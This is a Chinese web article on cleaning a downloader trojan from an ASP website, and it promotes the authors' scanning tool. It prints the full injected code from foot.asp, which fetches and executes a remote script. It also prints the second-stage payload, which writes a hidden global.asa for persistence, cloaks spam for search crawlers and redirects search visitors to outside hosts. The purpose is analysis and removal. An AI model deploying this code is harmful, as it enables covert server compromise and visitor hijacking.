我要评论１、用青云团队开发的网站木马清理专家全面扫描服务器上的网站，网站木马清理专家下载地址：
２、如果这时木马还是存在，用我们的网站木马清理专家的快速查马功能快速查杀by*aming或aming特征码，如下图所示：
３、关闭服务器上的缩略图功能 方法参考 https://www.jb51.net/os/windows/win2003/34960.html
根源：
这次用户中的是下载者类的木马，黑客通过网站上传漏洞上在网站根目录的foot.asp下插入了以下代码：
复制代码
代码如下:<%
'by*aming
function gethtml(url)
set objxmlhttp=server.createobject("msxml2.serverxmlhttp")
objxmlhttp.open "get",url,false
objxmlhttp.setrequestheader "user-agent",url
objxmlhttp.send
gethtml=objxmlhttp.responsebody
set objxmlhttp=nothing
set objstream = server.createobject("adodb.stream")
objstream.type = 1
objstream.mode =3
objstream.open
objstream.write gethtml
objstream.position = 0
objstream.type = 2
objstream.charset = "gb2312"
gethtml = objstream.readtext
objstream.close
set objstream=nothing
end function
execute(gethtml("http://www.pornhome.com/dy7749/xmlasaquan.txt"))
%>
清掉这段代码即可解决问题，网站木马清理专家查杀结果如下图所示！
xmlasaquan.txt的内容如下：
复制代码
代码如下:'<html><head><script>function clear(){source=document.body.firstchild.data;document.open();document.close();document.title="";document.body.innerhtml=source;}</script></head><body onload=clear()>
'<meta http-equiv=refresh content=0;url=about:blank><script>eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,string)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new regexp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.1.2(\'3:4\');',5,5,'window|location|replace|about|blank'.split('|'),0,{}))</script>
'by*aming
server.scripttimeout=600
public function createasa(byval content)
on error resume next
set fso = server.createobject("scripting.filesystemobject")
set f=fso.getfile("//./" & server.mappath("/global.asa"))
f.attributes=0
set obj = server.createobject("adod" & "b.s" & "tream")
obj.type = 2
obj.open
obj.charset = "gb2312"
obj.position = obj.size
obj.writetext = content
obj.savetofile "//./" & server.mappath("/global.asa"),2
obj.close
set obj = nothing
f.attributes=1+2+4
set f=nothing
set fso = nothing
end function
public function gethtml(url)
set objxmlhttp=server.createobject("msxml2.serverxmlhttp")
objxmlhttp.open "get",url,false
objxmlhttp.setrequestheader "user-agent",url
objxmlhttp.send
gethtml=objxmlhttp.responsebody
set objxmlhttp=nothing
set objstream = server.createobject("adodb.stream")
objstream.type = 1
objstream.mode =3
objstream.open
objstream.write gethtml
objstream.position = 0
objstream.type = 2
objstream.charset = "gb2312"
gethtml = objstream.readtext
objstream.close
end function
function check(user_agent)
allow_agent=split("baiduspider,sogou,baidu,sosospider,googlebot,fast-webcrawler,msnbot,slurp",",")
check_agent=false
for agenti=lbound(allow_agent) to ubound(allow_agent)
if instr(user_agent,allow_agent(agenti))>0 then
check_agent=true
exit for
end if
next
check=check_agent
end function
function checkrobot()
checkrobot = false
dim botlist,i,repls
repls = request.servervariables("http_user_agent")
krobotlist = "baiduspider|googlebot"
botlist = split(krobotlist,"|")
for i = 0 to ubound(botlist)
if instr(repls,botlist(i)) > 0 then
checkrobot = true
exit for
end if
next
if request.querystring("admin")= "1" then session("thischeckrobot")=1
if session("thischeckrobot") = 1 then checkrobot = true
end function
function checkrefresh()
checkrefresh = false
dim botlist,i,repls
krobotlist = "baidu|google|sogou|soso|youdao"
botlist = split(krobotlist,"|")
for i = 0 to ubound(botlist)
if instr(left(request.servervariables("http_referer"),"40"),botlist(i)) > 0 then
checkrefresh = true
exit for
end if
next
end function
sub sleep()
if response.isclientconnected=true then
response.flush
else
response.end
end if
end sub
if checkrefresh=true then
cnnbd=lcase(request.servervariables("http_host"))
response.redirect("http://www.82767.com/?"&cnnbd&"")
'response.write("<a href=http://www.82767.com><font _fcksavedurl="http://www.82767.com><font" color=#ff0000>如果您的浏览器不支持跳转,请点击进入>>>>>></font></a><div style=display:none><script src=http://count11./click.aspx?id=114814173&logo=12></script></div><script _fcksavedurl="http://count11./click.aspx?id=114814173&logo=12></script></div><script" src=http://js.568tea.com/44.js></script><script src=http://js.37548.com/44.js></script>")
response.end
end if
user_agent=request.servervariables("http_user_agent")
if check(user_agent)=true then
body=gethtml("http://fudu.qpedu.cn/xml/prn/con.2.asp?domain="&strhost&"&ua="&server.urlencode(request.servervariables("http_user_agent"))&"")
response.write body
response.end
else
asa=gethtml("http://www.pornhome.com/dy7749/codequan.txt")
if instr(asa,"by*aming")>0 then
createasa(asa)
end if
scriptaddress=request.servervariables("script_name")
namepath=server.mappath(scriptaddress)
if len(request.querystring) > 0 then
scriptaddress = scriptaddress & "?" & request.querystring
end if
geturl ="http://"& request.servervariables("http_host") & scriptaddress
geturl =lcase(geturl)
'response.write replace(namepath,server.mappath("/"),"")
'response.end
'if instr(geturl,"jc=ok")=0 and instr(geturl,"global=ok")=0 and instr(lcase(request.servervariables("http_host")),"gov.cn")=0 and instr(lcase(request.servervariables("http_host")),"edu.cn")=0 and
if instr(geturl,"http://"& request.servervariables("http_host") &"/index.asp")=0 and instr(geturl,"http://"& request.servervariables("http_host") &"/")=0 and instr(lcase(request.servervariables("http_referer")),lcase(request.servervariables("http_host")))<=0 then
agent = lcase(request.servervariables("http_user_agent"))
referer = lcase(request.servervariables("http_referer"))
bot = ""
amll = ""
if instr(agent, "+") > 0 then bot = agent
if instr(agent, "-") > 0 then bot = agent
if instr(agent, "http") > 0 then bot = agent
if instr(agent, "spider") > 0 then bot = agent
if instr(agent, "bot") > 0 then bot = agent
if instr(agent, "linux") > 0 then bot = agent
if instr(agent, "baidu") > 0 then bot = agent
if instr(agent, "google") > 0 then bot = "nobot"
if instr(agent, "yahoo") > 0 then bot = "nobot"
if instr(agent, "msn") > 0 then bot = "nobot"
if instr(agent, "alexa") > 0 then bot = "nobot"
if instr(agent, "sogou") > 0 then bot = "nobot"
if instr(agent, "youdao") > 0 then bot = "nobot"
if instr(agent, "soso") > 0 then bot = "nobot"
if instr(agent, "iask") > 0 then bot = "nobot"
if bot="nobot" then
'call writeerr
'response.end
end if
call sleep()
end if
end if
'</body></html>
您可能感兴趣的文章:
如您对本文有疑问或者有任何想说的，请点击进行留言回复，万千网友为您解惑！
网友评论